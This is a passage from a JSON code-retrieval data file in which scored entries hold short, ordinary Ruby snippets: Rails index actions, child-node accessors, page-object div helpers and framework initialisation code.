"0204594cc1bc7d7a8443488f3f3a154f", "score": "0.5085612", "text": "def division\n @reports = Report.where.not(division: [nil,\"\"]).\n where(category: \"domain\").\n order(division: :ASC)\n end", "title": "" }, { "docid": "984d7449553776b2f261603213eb70ab", "score": "0.5074992", "text": "def displayed_widgets\n list = []\n self.div(:class=>\"fl-container-flex widget-content\").divs(:class=>\"s3d-contentpage-title\").each do |div|\n list << div.text\n end\n return list\n end", "title": "" }, { "docid": "36966637216655eff0450867c50dc9fb", "score": "0.50735277", "text": "def index\n @divisas = Divisa.all\n end", "title": "" }, { "docid": "4c202684c56f10ab59d2567317ddbd89", "score": "0.50509185", "text": "def index\n @dividends = Dividend.all\n end", "title": "" }, { "docid": "dda2081443c1cf9cbeefc649f9bc981b", "score": "0.5039022", "text": "def containers\n return @containers\n end", "title": "" }, { "docid": "269a39008e4980f92397f353a983a70f", "score": "0.5036959", "text": "def get_all_posts()\n return Post.where(:parent_id => nil )\n end", "title": "" }, { "docid": "bb13cd5add4d601643c6c4ba10dcbef6", "score": "0.50186354", "text": "def index\n @condominium_children = CondominiumChild.all\n end", "title": "" }, { "docid": "291067d40e71fed900d073b48e11a40f", "score": "0.4995759", "text": "def index\n @page_chunks = PageChunk.all\n end", "title": "" }, { "docid": "f5edfc1b3abbca6c14571c14882bae88", "score": "0.49820554", "text": "def index\n @divition_types = DivitionType.all\n end", "title": "" }, { "docid": "17350e7930b8ac62737d0b451d9cc5f8", "score": "0.49678975", "text": "def active_div\n container_div = self.div(:id=>\"s3d-page-container\")\n case\n when container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>0).visible?\n id = container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>0).parent.id\n when container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>1).visible?\n id = container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>1).parent.id\n when container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>2).visible?\n id = container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>2).parent.id\n when container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\",:index=>3).visible?\n id = container_div.div(:id=>/^id\\d{8}$/, :class=>\"inline_class_widget_nofloat\", :index=>3).parent.id\n end\n return self.div(:id=>id)\n end", "title": "" }, { "docid": "3d62c15eb3ec23fa18d890c8940120b9", "score": "0.49376515", "text": "def __fragments__\n\t\t\treturn @fragments\n\t\tend", "title": "" }, { "docid": "086631a8d2daa1d348abfb221e3d917d", "score": "0.4930185", "text": "def children\n\t\treturn self.search( :one, '(objectClass=*)' )\n\tend", "title": "" }, { "docid": "e508dfe24a542d2852935ecec4da9b3a", "score": "0.49062306", "text": "def elements\n # execute query\n ordered_objects.compact.uniq\n end", "title": "" }, { "docid": "22854780f3a808ec769d6f8796b2c54a", "score": "0.49024796", "text": "def project_dividers(project_id, query_params = nil)\n get_project_children(project_id, __method__, query_params)\n end", "title": "" }, { "docid": "a8cc4d3b5729a99ebe363f78fd9f4523", "score": "0.49003485", "text": "def children\n return @children if !@children.nil?\n @children = all_children.find_all{|collection| collection.url.count('/') == self.url.count('/') + 1}\n end", "title": "" }, { "docid": "8ffb7f6ee0eaadd91538b88ac2586ff0", "score": "0.48989397", "text": "def collections\n Collection.find(:all, :find_through => [N::DCT.hasPart, self])\n end", "title": "" }, { "docid": "36f519c43bf05df44d8b9670ffc940b9", "score": "0.4885974", "text": "def index\n @driver_divisions = DriverDivision.all\n end", "title": "" }, { "docid": "638bb5212d316242f70d5cc637baf3a7", "score": "0.4878092", "text": "def main_divs\n divs = @page.search('.//tr')\n torrents = []\n divs.each do |div|\n torrent_file = Parser.torrent_url(div)\n name = Parser.torrent_name(div)\n size = Parser.size(div)\n seeders = Parser.seeders(div)\n leechers = Parser.leechers(div)\n torrent = Torrent.new(torrent_file, name, size, seeders, leechers)\n torrents.push(torrent)\n end\n torrents\n end", "title": "" }, { "docid": "f0b8a30eb2b5eb7e31533f21fd77bc9d", "score": "0.48703626", "text": "def children\n list = NodeSet.new(document)\n document.decorate(list)\n\n first = self.child\n return list unless first # Empty list\n\n list << first unless first.blank?\n while first = first.next\n list << first unless first.blank?\n end\n list\n end", "title": "" }, { "docid": "a38cb3474853b2d4a28659f070ed1a70", "score": "0.48393142", "text": "def index\n @bones_segments = BonesSegment.all\n end", "title": "" }, { "docid": "bc911be46aaf8c7c8fb84af0bd93df27", "score": "0.48275045", "text": "def all\n @charts\n end", "title": "" }, { "docid": "2ef4333e7a0ddac42ee7358e0f6139e5", "score": "0.48218066", "text": "def all\n views_from_mysql.map(&method(:to_scenic_view))\n end", "title": "" }, { "docid": "8ad37bf27e989aa2d6a2b4c68f4b8d3b", "score": "0.48136416", "text": "def children\n rows\n end", "title": "" }, { "docid": "08367ad4a26afa905c970e5c442baf68", "score": "0.4795028", "text": "def segments\n response = get 'segments'\n response.map{|item| Hashie::Mash.new(item)}\n end", "title": "" }, { "docid": "3910c5d3d9ad63cba93861ea3a6f70dd", "score": "0.47949335", "text": "def index\n @circulars = Circular.all\n end", "title": "" }, { "docid": "d4cdd8c06b2d59f61b180d6ab6944e35", "score": "0.4784", "text": "def dives()\n sql = \"SELECT *\n FROM dives\n WHERE id = $1\"\n values = [@dive_id]\n result = SqlRunner.run(sql,values)\n dives = Dive.new(result.first)\n return dives\nend", "title": "" }, { "docid": "943dd8ee5dc18acd69c6abff728b17fd", "score": "0.47782603", "text": "def segments_within(progress)\n base = 0\n total = @dataset.entries.size.to_f\n\n [].tap do |ret|\n @dataset.entries.find_in_batches do |group|\n group.each_with_index do |entry, i|\n @segmenter.reset!\n @segmenter.add(entry.uid)\n add_to_dfs(@segmenter.words_for_last)\n @segmenter.blocks.each do |b|\n b.name += I18n.t('lib.frequency.block_doc_suffix', title: entry.uid)\n ret << b\n end\n\n progress.call(((base + i).to_f / total * 100.0).to_i) if progress\n end\n\n base += group.size\n end\n\n progress.call(100) if progress\n end\n end", "title": "" }, { "docid": "ba3ac26de6d6d3e6e4c667e5801f2539", "score": "0.47634318", "text": "def all\n self.class.all\n end", "title": "" }, { "docid": "3a220b780a0e4a73baad4ba1f60e42ef", "score": "0.4760707", "text": "def sections\n return @sections\n end", "title": "" }, { "docid": "72b8c95a5c0c5fdb7a2f9a3dd80eb358", "score": "0.4739992", "text": "def index\n @customer_segments = CustomerSegment.all\n end", "title": "" }, { "docid": "7a4b10db7db171b9630c15a703404327", "score": "0.47358245", "text": "def index\n @dom0s = Dom0.all\n end", "title": "" }, { "docid": "2f1fb60680d7ed5f6b9d219532c5c14f", "score": "0.47230783", "text": "def index\n @segments = Segment.where(stage_id: @stage.id).order(:name)\n respond_to do |format|\n format.turbo_stream { render \"shared/index\", locals: { object: Segment.new, objects: @segments } }\n end\n end", "title": "" }, { "docid": "610b70dc3bd2b2041f61ecf2733800da", "score": "0.470593", "text": "def get_segments\n return make_request(\"#{self.endpoint}/list/segments\")\n end", "title": "" }, { "docid": "901329bc8db36a1b7dedbc6e3bc4a705", "score": "0.46996847", "text": "def children()\n #Ressource.filter(:parent_id => self.id, :parent_service_id => self.service_id).all\n end", "title": "" }, { "docid": "8243a66c7b2284d77843a2889a1f94c8", "score": "0.4694456", "text": "def index\n @subdivisions = Subdivision.all\n end", "title": "" }, { "docid": "9e78e80b23b5439f122514803fb6d5e8", "score": "0.46878883", "text": "def visual_elements\n return @visual_elements\n end", "title": "" }, { "docid": "13c6c84d4c80c0fadf1c86766d86d0d8", "score": "0.46823162", "text": "def children\n []\n end", "title": "" }, { "docid": "23929612d9ef82e5812589c5123f39d6", "score": "0.46767715", "text": "def collection\n Decidim::ParticipatoryProcess\n .where(organization: Decidim::Organization.first)\n .published.public_spaces\n end", "title": "" }, { "docid": "bd684f2ba730a96834785db4dd208ef4", "score": "0.46746472", "text": "def instances()\n return @instances\n end", "title": "" }, { "docid": "2e6d6565fbb7cb0b6c2121f4f682c803", "score": "0.4658894", "text": "def segments(progress = nil)\n @options[:split_across] ? segments_across(progress) :\n segments_within(progress)\n end", "title": "" }, { "docid": "35df540089e42e17681ea3f5a117cdfb", "score": "0.46559018", "text": "def children\n base_set_class.find(:all, :conditions => \"#{scope_condition} AND #{parent_col_name} = #{self.id}\", :order => left_col_name)\n end", "title": "" }, { "docid": "f2b28e0853908e7f483a23559f0dc935", "score": "0.4639923", "text": "def get_children\n return children\n end", "title": "" }, { "docid": "5315f1b55bcb6a87f51add8d13b90f56", "score": "0.46372196", "text": "def list(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n limit: limit,\n page_size: page_size\n ).entries\n end", "title": "" }, { "docid": "ccc161ce6c2e51b126b22e5562ba2ef5", "score": "0.46310705", "text": "def elements\n return @elements\n end", "title": "" }, { "docid": "067c06ae6651580e93637b9fa70c4575", "score": "0.46288225", "text": "def index\n @container_row = nil\n @container_rows = @container ? ContainerRow.where(container_id: @container.id).order(\"position asc\") : Container.where(site_id: @site.id)\n end", "title": "" }, { "docid": "777f65ce5effaa20b9ef1c6dd49ec7be", "score": "0.46252826", "text": "def children\n rows + tags\n end", "title": "" }, { "docid": "c84f4d45cb82c556368c11b0ea7cd683", "score": "0.4623912", "text": "def children\n [@before, @mid, @after].compact\n end", "title": "" }, { "docid": "c84f4d45cb82c556368c11b0ea7cd683", "score": "0.4623912", "text": "def children\n [@before, @mid, @after].compact\n end", "title": "" }, { "docid": "257edc244051705b1c050e3fe9ec9835", "score": "0.4620884", "text": "def search_results\r\n @browser.divs(class: 'rc').collect do |div|\r\n div.h3.a.text\r\n end\r\n end", "title": "" }, { "docid": "d3ae58be2b19d1bfc4f087fbcb497acc", "score": "0.4619445", "text": "def children\n result = []\n @children.each do |_, child_group|\n result.concat(child_group)\n end\n\n result\n end", "title": "" }, { "docid": "49426e218f3e44af863007f3c04ec0b4", "score": "0.46164936", "text": "def children\n []\n end", "title": "" }, { "docid": "49426e218f3e44af863007f3c04ec0b4", "score": "0.46164936", "text": "def children\n []\n end", "title": "" }, { "docid": "78c029890c0af40587b938281aab372f", "score": "0.46148655", "text": "def all_children\n find_all_children_with_dotted_ids\n end", "title": "" }, { "docid": "3ea594bd3e7e1c3b6aa71d3228f81e36", "score": "0.46117172", "text": "def all\n self.class.instance_methods(false).each do |method|\n next if %i`all dom`.include? method\n send(method)\n end\n end", "title": "" }, { "docid": "dea4fc64a70c0a9fa512d76a3800c80d", "score": "0.46058992", "text": "def comments\n c = Comment.where(:resource_id => self.id).all\n if c\n return c\n end\n end", "title": "" }, { "docid": "00fc44a95e7de3bb33eefb36b9c40b18", "score": "0.4592775", "text": "def all_children\n return @all_children if !@all_children.nil?\n @all_children = PhotoCollection.all_urls.find_all{|url| url[self.url] && url != self.url}.collect{|url| PhotoCollection.find_by_url(url)}\n end", "title": "" }, { "docid": "f19381ea7fadc8776b6dd9c0710cdbdb", "score": "0.45880494", "text": "def iter()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = SegmentHistoryIter.new(Native.SegmentHistory_iter(@handle.ptr))\n result\n end", "title": "" }, { "docid": "61d7133605f52cca06fda53e0a3ec31d", "score": "0.45847633", "text": "def get_all_blocks\n\n @all_blocks = Block.where(is_published: 't')\n\n end", "title": "" }, { "docid": "e67fed42dd036f684d796dc28562887a", "score": "0.45770094", "text": "def index\n @segment_types = SegmentType.all\n end", "title": "" }, { "docid": "983a94f06dcec0788be2b33dbe1a9575", "score": "0.4576139", "text": "def div\n @adapter.generate_body(@chart)\n end", "title": "" }, { "docid": "60a2a2439ff11b54f87f9976285b46c5", "score": "0.4565705", "text": "def children\n self.class.children(self) \n end", "title": "" }, { "docid": "8ad3cd996de023a4aca8cb32b118b1d0", "score": "0.45625716", "text": "def get_children\n return @children\n end", "title": "" }, { "docid": "8e2e5eefdf63eaa3fd0b19db9aff1afd", "score": "0.45589536", "text": "def all\n results = query '*::*::*::*'\n (results.each {|r| yield r}) if block_given?\n results\n end", "title": "" }, { "docid": "cb3b559b72e3c2d203a0924744ef9d92", "score": "0.45507538", "text": "def index\n @api_v1_metrics_dashboards_segments = Api::V1::MetricsDashboardsSegment.all\n end", "title": "" }, { "docid": "5b6faa24091ae802fb7b927ecba45a63", "score": "0.45446217", "text": "def all_children(scope = {})\n full_set(scope) - [self]\n end", "title": "" }, { "docid": "64242a8d8da8d82e800e164de8e0746a", "score": "0.45398837", "text": "def children\n unless defined? @children\n @children = Array.new\n end\n return @children\n end", "title": "" }, { "docid": "0d81172743aa277af7346f06d711da8d", "score": "0.45398453", "text": "def sheets\n @sheets = document.css(['sheet']).map do |sheet|\n sheetfile = document.relationships\n .css(\"Relationship[@Id=#{sheet.attr('r:id')}]\")\n .first.attributes['Target'].value\n Sheet.new(self, sheet.attr(\"name\"), sheet.attr(\"sheetid\"), sheet.attr(\"state\"), sheet.attr(\"visible\"), sheet.attr(\"r:id\"), sheetfile)\n end\n end", "title": "" }, { "docid": "ceef6cc9f92c5864b2a90ba3f3a5c0b2", "score": "0.45392573", "text": "def assessment_divisions(assessment)\n if assessment.quiz_sections.empty?\n [assessment]\n else\n assessment_division_set = []\n assessment.quiz_sections.each do |quiz_section|\n if quiz_section.children_sections.empty? and quiz_section.parent_id.nil?\n assessment_division_set << quiz_section\n else\n quiz_section.children_sections.each do |child_section|\n assessment_division_set << child_section\n end\n end\n end\n assessment_division_set\n end\n\n end", "title": "" }, { "docid": "0875e73369173cc38493c4514324fb45", "score": "0.45304868", "text": "def descendants\n self.class.descendants_of(self)\n end", "title": "" }, { "docid": "ccced23042b8c21e69f18a981c0ba17f", "score": "0.45202804", "text": "def related_content\n list = []\n self.div(:class=>\"relatedcontent_list\").links.each do |link|\n list << link.title\n end\n return list\n end", "title": "" }, { "docid": "e3192f62aea7649ad8f12721b7c90de8", "score": "0.4517712", "text": "def sliced_nodes\n return @sliced_nodes if defined? @sliced_nodes\n\n case pagination_type\n when ::PaginationType::OFFSET\n @sliced_nodes = nodes\n\n if after\n offset = (relation_offset(@sliced_nodes) || 0) + offset_from_cursor(after)\n @sliced_nodes = @sliced_nodes.offset(offset) if after\n end\n\n if before && after\n if offset_from_cursor(after) < offset_from_cursor(before)\n @sliced_nodes = @sliced_nodes.limit(offset_from_cursor(before) - offset_from_cursor(after) - 1)\n else\n @sliced_nodes = @sliced_nodes.limit(0)\n end\n elsif before\n @sliced_nodes = @sliced_nodes.limit(offset_from_cursor(before) - 1)\n end\n when ::PaginationType::CURSOR_ASC\n @sliced_nodes = nodes.where(\"#{nodes.model.table_name}.id > #{last_previous_id}\")\n when ::PaginationType::CURSOR_DESC\n @sliced_nodes = nodes.where(\"#{nodes.model.table_name}.id < #{last_previous_id}\")\n else\n raise RuntimeError, 'invalid pagination type'\n end\n\n @sliced_nodes\n end", "title": "" }, { "docid": "8023dc43c71b2dfbae249bf7167050d7", "score": "0.45134246", "text": "def dom\n div = DOM::Element.new 'div'\n div.html = @body\n fragment = DOM::Fragment.new\n fragment << div\n fragment\n end", "title": "" }, { "docid": "8a07fc94279d69503a46c837a62dc6c1", "score": "0.4505634", "text": "def hosts\n\t\tHost.find(:all)\n\tend", "title": "" }, { "docid": "6b65745f40752ebef04d57b9545349bd", "score": "0.45035955", "text": "def children\n entries\n end", "title": "" }, { "docid": "2d0136456d3cfcfc25404eac99b9cc8a", "score": "0.45032266", "text": "def posts\n return @posts\n end", "title": "" }, { "docid": "2d0136456d3cfcfc25404eac99b9cc8a", "score": "0.45032266", "text": "def posts\n return @posts\n end", "title": "" }, { "docid": "4fc2f6ad552228f71a6f332f3336af3b", "score": "0.44995484", "text": "def all\n @data_adapter.relations\n end", "title": "" }, { "docid": "e3e3164a1b6a1a2e9242a34f789cba10", "score": "0.44951066", "text": "def get_objects\n return self.pageobjects\n end", "title": "" }, { "docid": "e82c2ababa69a134d06113d7e25e47ee", "score": "0.44901967", "text": "def children\n []\n end", "title": "" }, { "docid": "e82c2ababa69a134d06113d7e25e47ee", "score": "0.44901967", "text": "def children\n []\n end", "title": "" }, { "docid": "e82c2ababa69a134d06113d7e25e47ee", "score": "0.44901967", "text": "def children\n []\n end", "title": "" }, { "docid": "68566facb04e138f046a932466d9672b", "score": "0.44895467", "text": "def sides\n return @sides if defined?(@sides)\n\n @sides = []\n (-vertices.length...0).each do |i|\n @sides << Segment.new(vertices[i], vertices[i + 1])\n end\n\n @sides\n end", "title": "" }, { "docid": "68e07409e2180e733c6cfee46929bce6", "score": "0.44881427", "text": "def index\n @divisions = Division.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @divisions }\n end\n end", "title": "" }, { "docid": "825ebe0f4be267caaa88da12b42ba0ca", "score": "0.44850552", "text": "def all\n results_from(response)\n end", "title": "" }, { "docid": "aff1ec32a0d2d3d22a3434aca3053284", "score": "0.44843248", "text": "def all\n repository.all(self)\n end", "title": "" } ]
3c859271a2a9fd63d8bab316f2221179
Initializes rest of framework and loads extensions. This can only be called once.
[ { "docid": "8a069ec9a6fe9a2e68990bf2db509dfa", "score": "0.0", "text": "def startup\n\t\treturn if @started\n\t\t@started = true\n\t\t\n\t\t@res_man = Eggtooth::ResourceManager.new()\n\t\t@svc_man.add(@res_man, @cfg_help['resolver.manager'])\n\n\t\t@dispatcher = Eggtooth::Dispatcher.new\n\t\t@action_man = Eggtooth::ActionManager.new\n\t\t@script_act = Eggtooth::ActionManager::ScriptAction.new(self, @cfg_help['script.action'])\n\n\t\t@svc_man.add(@dispatcher, {:sid => 'dispatcher'})\n\t\t@svc_man.add(@action_man, {:sid => 'action.manager'})\n\t\t@svc_man.add(@script_act, {:sid => 'action.impl.script'})\n\n\t\tif @cfg_help['services'].is_a?(Array)\n\t\t\t@cfg_help['services'].each do |attribs|\n\t\t\t\t@svc_man.activate(attribs)\n\t\t\tend\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "e126900e38b215fc48f71ef3f0837cb4", "score": "0.75190955", "text": "def initialize_framework\n end", "title": "" }, { "docid": "1e4be1e2ebd9ca3b6b09b0ca0214a155", "score": "0.75137967", "text": "def initialize_framework\n end", "title": "" }, { "docid": "e1c20391a43f2fe0fbe1aacb6343654c", "score": "0.74075043", "text": "def after_initialize\n super\n extension_loader.activate_extensions # also calls initialize_views\n configuration.add_controller_paths(extension_loader.paths(:controller))\n configuration.add_eager_load_paths(extension_loader.paths(:eager_load))\n end", "title": "" }, { "docid": "a465c8125af5d0646a97523171c40868", "score": "0.72117525", "text": "def extension_loader\n ExtensionLoader.instance {|l| l.initializer = self }\n end", "title": "" }, { "docid": "39196533a6725f6d1906f7b38f7cb897", "score": "0.7132545", "text": "def prep_framework\n @framework = Server::Framework.new( Options.instance )\n end", "title": "" }, { "docid": "6dd191a931251cef2fa549490b6383c1", "score": "0.70210254", "text": "def load_extension_initalizers\n extensions.each(&:load_initializers)\n end", "title": "" }, { "docid": "bbc3d147cd42c02972a518dde427f310", "score": "0.68536186", "text": "def start_extension\n # Load ruby files\n load_ruby_files\n\n # Attach observers\n attach_observers\n end", "title": "" }, { "docid": "bb611baaada31427abcf95f0c9bbeba5", "score": "0.68196493", "text": "def init_runtime\n @runtime_initialized = true\n get_extensions.each do |name, extension|\n # if !extension.is_a?(Twig::Extension::InitRuntimeInterface)\n # m = ReflectionMethod.new(extension, 'init_runtime')\n # if ('Twig_Extension' != m.get_declaring_class.get_name)\n # # @trigger_error(sprintf('Defining the init_runtime() method in the \"%s\" extension is deprecated. Use the `needs_environment` option to get the Twig_Environment instance in filters, functions, or tests; or explicitly implement Twig_Extension_InitRuntimeInterface if needed (not recommended).', name), E_USER_DEPRECATED);\n # end\n # end\n extension.init_runtime(self)\n end\n end", "title": "" }, { "docid": "585604be21a3a5fefb6d5444f7faec9a", "score": "0.6671259", "text": "def load_plugins\n super\n extension_loader.load_extensions\n end", "title": "" }, { "docid": "319efde90691229835c707099840edcc", "score": "0.6527221", "text": "def init_framework(create_opts={})\n require_deps unless @framework_loaded\n\n create_opts[:module_types] ||= [\n ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP\n ]\n\n create_opts[:module_types].map! do |type|\n Msf.const_get(\"MODULE_#{type.upcase}\")\n end\n\n @framework = ::Msf::Simple::Framework.create(create_opts)\nend", "title": "" }, { "docid": "4afe9f1dd1a2d68d8664b233bb346807", "score": "0.6526206", "text": "def load_application_initializers\n load_radiant_initializers unless deployed_as_app?\n super\n extension_loader.load_extension_initalizers\n end", "title": "" }, { "docid": "912db2cd747301b38754fed9bd3b2cdd", "score": "0.65225047", "text": "def load_core_extensions\n require 'ice_nine/core_ext/object'\n load_dependencies 'vendor/core_extensions/*.rb'\n end", "title": "" }, { "docid": "5794af6d1714c5020f5a9d8fd1285a9b", "score": "0.6499455", "text": "def process\n set_load_path\n\n require_frameworks\n set_autoload_paths\n load_environment\n\n initialize_database\n initialize_logger\n initialize_framework_logging\n initialize_dependency_mechanism\n initialize_framework_settings\n initialize_gettext\n \n # Support for legacy configuration style where the environment\n # could overwrite anything set from the defaults/global through\n # the individual base class configurations.\n load_environment\n\n # the framework is now fully initialized\n after_initialize\n end", "title": "" }, { "docid": "0fd217d013d6954db6dd27a49d15ee38", "score": "0.64590234", "text": "def extender_initialize ext\n @burp_extender = ext\n @tool_names = {}\n pp([:got_extender, ext]) if $DEBUG\n end", "title": "" }, { "docid": "ebb36c6b1d6d6db87708910516afe48f", "score": "0.63605934", "text": "def load_extensions(*extensions); end", "title": "" }, { "docid": "8232bfe61717baa100f4ce7ce6e816b9", "score": "0.6332263", "text": "def load_extensions\n self.class.validate_path @extensions_path\n Dir[File.join(@extensions_path, '**', '*.rb').to_s].each { |f| load(f) }\n end", "title": "" }, { "docid": "f0b4ac1cac154ab8b0b3fac938f5df1a", "score": "0.62907183", "text": "def setup\n @loader = Zeitwerk::Loader.for_gem\n\n # Register inflections\n require root.join(\"config/inflections.rb\")\n\n # Set up code loader\n loader.enable_reloading if ENV[\"METAL_ARCHIVES_ENV\"] == \"development\"\n\n loader.collapse(root.join(\"lib/metal_archives/models\"))\n loader.collapse(root.join(\"lib/metal_archives/concerns\"))\n\n loader.do_not_eager_load(root.join(\"lib/metal_archives/cache\"))\n loader.setup\n loader.eager_load\n\n # Load initializers\n Dir[root.join(\"config/initializers/*.rb\")].sort.each { |f| require f }\n end", "title": "" }, { "docid": "5c53ed632c9b71a9936de90604fa1f82", "score": "0.62851626", "text": "def initialize ( ext_init = { :cmd => \"lewt_base_extension\" } )\n core_settings = YAML.load_file( File.expand_path( '../config/settings.yml', __FILE__) )\n if File.exists? File.expand_path( '~/.lewt_settings', __FILE__)\n core_settings.merge! YAML.load_file( File.expand_path( '~/.lewt_settings', __FILE__) )\n end\n\n @lewt_stash = core_settings['lewt_stash'] || File.expand_path('../', __FILE__) + \"/config/\"\n load_lewt_settings()\n @command_name = ext_init[:cmd]\n @options = ext_init[:options] || nil\n register_extension\n end", "title": "" }, { "docid": "be2a8b6fca7b81cdba1e6d28562abee3", "score": "0.6284874", "text": "def setup_modules!\n modules_to_load = load_modules || MODULES.keys\n MODULES.slice(*modules_to_load).each do |m, (type, init)|\n case type.respond_to?(:call) ? type.call : type\n when :controller\n RailsStuff.base_controller.extend const_get(m.to_s.camelize)\n when :model\n RailsStuff.base_model.extend const_get(m.to_s.camelize)\n when :require\n require \"rails_stuff/#{m}\"\n end\n init.try!(:call)\n end\n end", "title": "" }, { "docid": "2c2454d4367937817b4ed909b5f80ae1", "score": "0.62776095", "text": "def load_modules; end", "title": "" }, { "docid": "164d72e1b59140ee81046c3f995013d2", "score": "0.625824", "text": "def process\n Rails.configuration = configuration\n\n configure_rails_lts\n\n check_ruby_version\n install_gem_spec_stubs\n set_load_path\n add_gem_load_paths\n\n require_frameworks\n require_lts_version\n set_autoload_paths\n add_plugin_load_paths\n load_environment\n preload_frameworks\n\n initialize_encoding\n initialize_database\n\n initialize_cache\n initialize_framework_caches\n\n initialize_logger\n initialize_framework_logging\n\n initialize_dependency_mechanism\n initialize_whiny_nils\n\n initialize_time_zone\n initialize_i18n\n\n initialize_framework_settings\n initialize_framework_views\n\n initialize_metal\n\n add_support_load_paths\n\n check_for_unbuilt_gems\n\n load_gems\n load_plugins\n\n # pick up any gems that plugins depend on\n add_gem_load_paths\n load_gems\n check_gem_dependencies\n\n # bail out if gems are missing - note that check_gem_dependencies will have\n # already called abort() unless $gems_rake_task is set\n return unless gems_dependencies_loaded\n\n load_application_initializers\n\n finalize_rails_lts\n\n # the framework is now fully initialized\n after_initialize\n\n # Setup database middleware after initializers have run\n initialize_database_middleware\n\n # Prepare dispatcher callbacks and run 'prepare' callbacks\n prepare_dispatcher\n\n # Routing must be initialized after plugins to allow the former to extend the routes\n initialize_routing\n\n # Observers are loaded after plugins in case Observers or observed models are modified by plugins.\n load_observers\n\n # Load view path cache\n load_view_paths\n\n # Load application classes\n load_application_classes\n\n # Disable dependency loading during request cycle\n disable_dependency_loading\n\n # Flag initialized\n Rails.initialized = true\n end", "title": "" }, { "docid": "833062533f25afd17466c191f39d275e", "score": "0.62362707", "text": "def activate_extensions\n initializer.initialize_views\n ordered_extensions = []\n configuration = TrustyCms::Application.config\n if configuration.extensions.first == :all\n ordered_extensions = extensions\n else\n configuration.extensions.each { |name| ordered_extensions << select_extension(name) }\n end\n ordered_extensions.flatten.each(&:activate)\n Page.load_subclasses\n end", "title": "" }, { "docid": "d79f966fa0b85f8b1a388c7c3ae7246a", "score": "0.6221583", "text": "def load\n enable_listeners_for :resources_loaded\n @configs = {}\n @images = {}\n @sounds = {}\n @songs = {}\n @base_path ||= choose_base_path\n end", "title": "" }, { "docid": "f4470a2b561e81a0c4001ae4cf0ec7ea", "score": "0.6156345", "text": "def initialize(framework)\n\t\tself.framework = framework\n\tend", "title": "" }, { "docid": "533fa139fb89fd5aada5e88035e3f784", "score": "0.6103261", "text": "def init\n Blazing::Runner.init\n end", "title": "" }, { "docid": "e9749ebd4b13d6410941ce226295a457", "score": "0.6099279", "text": "def load_framework!\n if @orm\n unless FRAMEWORKS.has_key?(@framework)\n raise(UnknownFramework,\"Unknown framework #{@framework}\")\n end\n\n extend FRAMEWORKS[@framework]\n\n initialize_framework() if self.respond_to?(:initialize_framework)\n end\n end", "title": "" }, { "docid": "6bbedf33a48c587abfec213fc78cc8fe", "score": "0.6067482", "text": "def load_framework!\n if @orm\n unless FRAMEWORKS.has_key?(@framework)\n raise(UnknownFramework,\"Unknown framework #{@framework}\",caller)\n end\n\n extend FRAMEWORKS[@framework]\n\n initialize_framework if respond_to?(:initialize_framework)\n end\n end", "title": "" }, { "docid": "2a65e4c752f956852e011512bae2662d", "score": "0.605343", "text": "def initialize(&block)\n # Search the root of the project for required files\n $LOAD_PATH.unshift(root) unless $LOAD_PATH.include?(root)\n\n ::Middleman::Util.instrument 'application.setup' do\n @callbacks = ::Middleman::CallbackManager.new\n @callbacks.install_methods!(self, [\n :initialized,\n :configure,\n :before_extensions,\n :before_instance_block,\n :before_sitemap,\n :before_configuration,\n :after_configuration,\n :after_configuration_eval,\n :ready,\n :before_build,\n :after_build,\n :before_shutdown,\n :before, # Before Rack requests\n :before_render,\n :after_render,\n :before_server,\n :reload\n ])\n\n @middleware = Set.new\n @mappings = Set.new\n\n @template_context_class = Class.new(Middleman::TemplateContext)\n @generic_template_context = @template_context_class.new(self)\n @config_context = ConfigContext.new(self, @template_context_class)\n\n # Setup the default values from calls to set before initialization\n @config = ::Middleman::Configuration::ConfigurationManager.new\n @config.load_settings(self.class.config.all_settings)\n\n config[:source] = ENV['MM_SOURCE'] if ENV['MM_SOURCE']\n\n # TODO, make this less global\n ::Middleman::FileRenderer.cache.clear\n ::Middleman::TemplateRenderer.cache.clear\n end\n\n execute_callbacks(:before_extensions)\n\n @extensions = ::Middleman::ExtensionManager.new(self)\n\n execute_callbacks(:before_instance_block)\n\n # Evaluate a passed block if given\n config_context.instance_exec(&block) if block_given?\n\n apply_cli_options\n\n execute_callbacks(:before_sitemap)\n\n # Initialize the Sitemap\n @sitemap = ::Middleman::Sitemap::Store.new(self)\n\n ::Middleman::Extension.clear_after_extension_callbacks\n\n # Before config is parsed, before extensions get to it.\n execute_callbacks(:initialized)\n\n # Before config is parsed. Mostly used for extensions.\n execute_callbacks(:before_configuration)\n\n # Eval config.\n evaluate_configuration!\n\n # Run any `configure` blocks for the current environment.\n execute_callbacks([:configure, config[:environment]])\n\n # Run any `configure` blocks for the current mode.\n execute_callbacks([:configure, config[:mode]])\n\n apply_cli_options\n\n # Post parsing, pre-extension callback\n execute_callbacks(:after_configuration_eval)\n\n if Object.const_defined?(:Encoding)\n Encoding.default_external = config[:encoding]\n end\n\n prune_tilt_templates!\n\n # After extensions have worked after_config\n execute_callbacks(:after_configuration)\n\n # Everything is stable\n execute_callbacks(:ready) unless config[:exit_before_ready]\n end", "title": "" }, { "docid": "c6f9ed2cc9659dd020043d3f88b7533d", "score": "0.6019157", "text": "def initialize_submodules\n if File.exists? File.join(path, \".gitmodules\")\n inform \"Initializing and updating submodules in Dotify now...\"\n system \"cd #{path} && git submodule init &> /dev/null && git submodule update &> /dev/null\"\n end\n end", "title": "" }, { "docid": "e278a36a83a1b9b04cd6ce843acfa447", "score": "0.60157406", "text": "def load_extensions(extensions)\n return if extensions.nil?\n source_locale = default_locale\n\n cache = Tml.cache\n cache = nil if not Tml.cache.enabled? or Tml.session.inline_mode?\n\n if hash_value(extensions, :languages)\n self.languages_by_locale ||= {}\n hash_value(extensions, :languages).each do 